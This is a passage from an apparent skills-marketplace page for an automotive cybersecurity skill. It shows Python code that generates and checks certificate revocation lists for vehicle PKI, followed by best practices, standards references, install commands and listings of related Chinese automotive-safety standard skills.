builder.last_update(datetime.utcnow())\n        builder = builder.next_update(datetime.utcnow() + timedelta(days=7))\n\n        for revoked_cert in self.revoked_certs:\n            builder = builder.add_revoked_certificate(revoked_cert)\n\n        crl = builder.sign(self.ca_key, hashes.SHA256(), default_backend())\n\n        with open(output_path, 'wb') as f:\n            f.write(crl.public_bytes(serialization.Encoding.PEM))\n\n        print(f\"[INFO] CRL generated: {output_path}\")\n        print(f\"[INFO] Revoked certificates: {len(self.revoked_certs)}\")\n        print(f\"[INFO] Valid until: {crl.next_update}\")\n\n        return crl\n\n    def check_certificate_status(self, cert_serial: int) -> bool:\n        \"\"\"Check if certificate is revoked (OCSP-like check)\"\"\"\n        for revoked_cert in self.revoked_certs:\n            if revoked_cert.serial_number == cert_serial:\n                print(f\"[WARN] Certificate {cert_serial} is REVOKED\")\n                return False\n\n        print(f\"[PASS] Certificate {cert_serial} is VALID\")\n        return True\n\n# Example usage\ndef demo_crl():\n    # Create dummy CA\n    from cryptography.hazmat.primitives.asymmetric import rsa\n\n    ca_key = rsa.generate_private_key(65537, 4096, default_backend())\n    ca_cert = x509.CertificateBuilder().subject_name(\n        x509.Name([x509.NameAttribute(x509.oid.NameOID.COMMON_NAME, \"Test CA\")])\n    ).issuer_name(\n        x509.Name([x509.NameAttribute(x509.oid.NameOID.COMMON_NAME, \"Test CA\")])\n    ).public_key(\n        ca_key.public_key()\n    ).serial_number(\n        x509.random_serial_number()\n    ).not_valid_before(\n        datetime.utcnow()\n    ).not_valid_after(\n        datetime.utcnow() + timedelta(days=365)\n    ).sign(ca_key, hashes.SHA256(), default_backend())\n\n    # Revoke compromised certificates\n    crl_mgr = CertificateRevocationManager(ca_cert, ca_key)\n    crl_mgr.revoke_certificate(12345678, reason=\"key_compromise\")\n    crl_mgr.revoke_certificate(87654321, reason=\"cessation_of_operation\")\n\n    # Generate CRL\n    crl_mgr.generate_crl(\"\u002Ftmp\u002Fv2x_crl.pem\")\n\n    # Check status\n    crl_mgr.check_certificate_status(12345678)  # Revoked\n    crl_mgr.check_certificate_status(99999999)  # Valid\n\nif __name__ == \"__main__\":\n    demo_crl()\n```\n\n## Best Practices\n\n1. **Key Storage**: Always use HSM for private keys in production\n2. **Certificate Rotation**: Rotate pseudonym certificates weekly for privacy\n3. **CRL Distribution**: Use CDN for CRL distribution, OCSP for real-time checks\n4. **Algorithm Selection**: Use ECC (P-256\u002FP-384) for constrained devices, RSA-4096 for CAs\n5. **Quantum Readiness**: Plan migration to post-quantum algorithms (CRYSTALS-Dilithium)\n\n## References\n\n- IEEE 1609.2: Security Services for V2V\u002FV2I Communications\n- ETSI TS 103 097: Security Header and Certificate Formats\n- ISO 21434: Cybersecurity Engineering\n- NIST SP 800-57: Key Management Recommendations\n",{"name":5,"tags":23,"description":25},[24,5],"automotive","Automotive Cybersecurity expertise. Covers 6 topics: Intrusion Detection Prevention, Iso 21434 Compliance, Penetration Testing Automotive, Secure Boot Chain, Secure Software Development.\n","main","764e05645935fe0d4c219ab3786883289700a063","skills\u002Fautomotive-cybersecurity",3,"https:\u002F\u002Fgithub.com\u002Fpangzhenying2025\u002Fhermes-automotive-skills","https:\u002F\u002Fgithub.com\u002Fpangzhenying2025","2026-05-19 20:41:59",{"source":8,"skillName":5,"commands":34,"prompt":44,"zipAvailable":45},[35,38,41],{"tool":36,"command":37},"npx","npx skills add pangzhenying2025\u002Fhermes-automotive-skills --skill automotive-cybersecurity",{"tool":39,"command":40},"bunx","bunx skills add pangzhenying2025\u002Fhermes-automotive-skills --skill automotive-cybersecurity",{"tool":42,"command":43},"pnpm","pnpm dlx skills add pangzhenying2025\u002Fhermes-automotive-skills --skill automotive-cybersecurity","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fpangzhenying2025\u002Fhermes-automotive-skills\u002Fblob\u002Fmain\u002Fskills\u002Fautomotive-cybersecurity\u002FSKILL.md",true,[],[48,55,62,69,76,83],{"skillNo":49,"name":50,"nameZh":6,"description":51,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":52,"categories":53,"keywords":54,"publishedAt":18},"01M7360ZT6X73B7WX8G9T42MRX","china-sotif","China standard: Sotif. # 中国 SOTIF 标准集 — GB\u002FT 43267 + CSAE 316.1\u002F316.2 + CSAE 336","https:\u002F\u002Fgithub.com\u002Fpangzhenying2025\u002Fhermes-automotive-skills\u002Fblob\u002Fmain\u002Fskills\u002Fchina-sotif\u002FSKILL.md",[],[],{"skillNo":56,"name":57,"nameZh":6,"description":58,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":59,"categories":60,"keywords":61,"publishedAt":18},"01M7360VT7N20KBKD59QG6BEVQ","china-scenario-safety","China standard: Scenario Safety. # 场景安全评估框架 — ISO 34501\u002F34502 + ISO 34503\u002F34504\u002F34505","https:\u002F\u002Fgithub.com\u002Fpangzhenying2025\u002Fhermes-automotive-skills\u002Fblob\u002Fmain\u002Fskills\u002Fchina-scenario-safety\u002FSKILL.md",[],[],{"skillNo":63,"name":64,"nameZh":6,"description":65,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":66,"categories":67,"keywords":68,"publishedAt":18},"01M7360SM9DD8BAECKC7C03ST1","china-odd","China standard: Odd. # 自动驾驶系统设计运行条件（ODD）标准","https:\u002F\u002Fgithub.com\u002Fpangzhenying2025\u002Fhermes-automotive-skills\u002Fblob\u002Fmain\u002Fskills\u002Fchina-odd\u002FSKILL.md",[],[],{"skillNo":70,"name":71,"nameZh":6,"description":72,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":73,"categories":74,"keywords":75,"publishedAt":18},"01M7360QDGZAFVAJ2M2BQY5AAS","china-multi-pillar","China standard: Multi Pillar. # \"多支柱\"标准综合应用指南","https:\u002F\u002Fgithub.com\u002Fpangzhenying2025\u002Fhermes-automotive-skills\u002Fblob\u002Fmain\u002Fskills\u002Fchina-multi-pillar\u002FSKILL.md",[],[],{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":80,"categories":81,"keywords":82,"publishedAt":18},"01M7360N6FMFHK17MH5MB96R9Z","china-l3-fusa-sotif","China standard: L3 Fusa Sotif. # L3 有条件自动驾驶系统 功能安全和预期功能安全技术要求","https:\u002F\u002Fgithub.com\u002Fpangzhenying2025\u002Fhermes-automotive-skills\u002Fblob\u002Fmain\u002Fskills\u002Fchina-l3-fusa-sotif\u002FSKILL.md",[],[],{"skillNo":84,"name":85,"nameZh":6,"description":86,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":18},"01M7360J517TM1JC1YS6M2YX38","china-l2-adas-safety","China standard: L2 Adas Safety. # L2 组合驾驶辅助系统安全要求（强制性国标草案）","https:\u002F\u002Fgithub.com\u002Fpangzhenying2025\u002Fhermes-automotive-skills\u002Fblob\u002Fmain\u002Fskills\u002Fchina-l2-adas-safety\u002FSKILL.md",[],[]]